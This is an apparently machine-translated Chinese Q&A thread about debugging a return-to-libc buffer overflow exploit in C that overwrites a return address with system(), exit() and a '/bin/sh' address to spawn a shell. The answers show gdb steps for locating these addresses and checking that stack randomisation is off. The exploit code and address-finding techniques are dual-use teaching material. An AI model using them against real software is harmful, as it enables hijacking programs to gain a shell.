我应该想出一个利用“返回libc缓冲区溢出”的程序。执行时,它会干净地退出并显示SHELL提示符。该程序在bash终端中执行。下面是我的C代码:
#include <stdio.h>
int main(int argc, char*argv[]){
char buffer[7];
char buf[42];
int i = 0;
while(i < 28)
{
buf[i] = 'a';
i = i + 1;
}
*(int *)&buf[28] = 0x4c4ab0;
*(int *)&buf[32] = 0x4ba520;
*(int *)&buf[36] = 0xbfffff13;
strcpy(buffer, buf);
return 0;
}
使用gdb,我已经确定了以下内容:
我也知道,使用gdb,在我的缓冲区变量中插入32“A”会覆盖返回地址。因此,假设系统调用是4个字节,我首先填充28字节的内存“泄漏”。在第28个字节,我开始系统调用,然后退出调用,最后添加我的“/ bin / sh”内存位置。
但是,当我运行该程序时,我得到以下内容:
sh: B���: command not found
Segmentation fault (core dumped)
我真的不确定我做错了什么......
[编辑]:我可以通过导出环境变量来获取字符串“/ bin / sh”:
export MYSHELL="/bin/sh"
答案 0 :(得分:43)
您可以在libc中搜索/ bin / sh字符串的固定地址。然后在gdb中运行程序:
> (gdb) break main
>
> (gdb) run
>
> (gdb) print &system
> $1 = (<text variable, no debug info>*) 0xf7e68250 <system>
>
> (gdb) find &system,+9999999,"/bin/sh"
> 0xf7f86c4c
> warning: Unable to access target memory at 0xf7fd0fd4, halting search.
> 1 pattern found.
祝你好运。
答案 1 :(得分:4)
程序中的问题是您指向/bin/sh
字符串实际上未指向/bin/sh
的指针。
您使用gdb
获取此地址。但即使没有堆栈随机化,当程序在gdb
下运行而不是gdb
时,shell变量的堆栈地址也不同。 gdb
将一些调试信息放入堆栈中,这将改变你的shell变量。
在这里说服自己是一个快速而又脏的程序,可以在堆栈中找到/bin/sh
字符串:
#include <stdio.h>
#include <string.h>
int main(void)
{
char s[] = "/bin/sh";
char *p = (char *) 0xbffff000;
while (memcmp(++p, s, sizeof s));
printf("%s\n", p);
printf("%p\n", p);
}
首先仔细检查是否禁用了堆栈随机化:
ouah@maou:~$ sysctl kernel.randomize_va_space kernel.randomize_va_space = 0 ouah@maou:~$
好的,没有堆栈随机化。
让我们编译程序并在gdb
:
ouah@maou:~$ gcc -std=c99 tst.c ouah@maou:~$ ./a.out /bin/sh 0xbffff724 ouah@maou:~$
现在让我们在gdb
下运行它:
ouah@maou:~$ ./a.out /bin/sh 0xbffff724 ouah@maou:~$ gdb a.out -q Reading symbols from /home/ouah/a.out...(no debugging symbols found)...done. (gdb) r Starting program: /home/ouah/a.out /bin/sh 0xbffff6e4 Program exited normally. (gdb) quit ouah@maou:~$
正如您所看到的,/bin/sh
字符串的地址在gdb
内外运行时会有所不同。
现在您可以做的是使用此程序的变体来查找字符串的真实地址或更优雅的方法,直接从libc获取/bin/sh
字符串的地址(您可以猜到有一些事情)。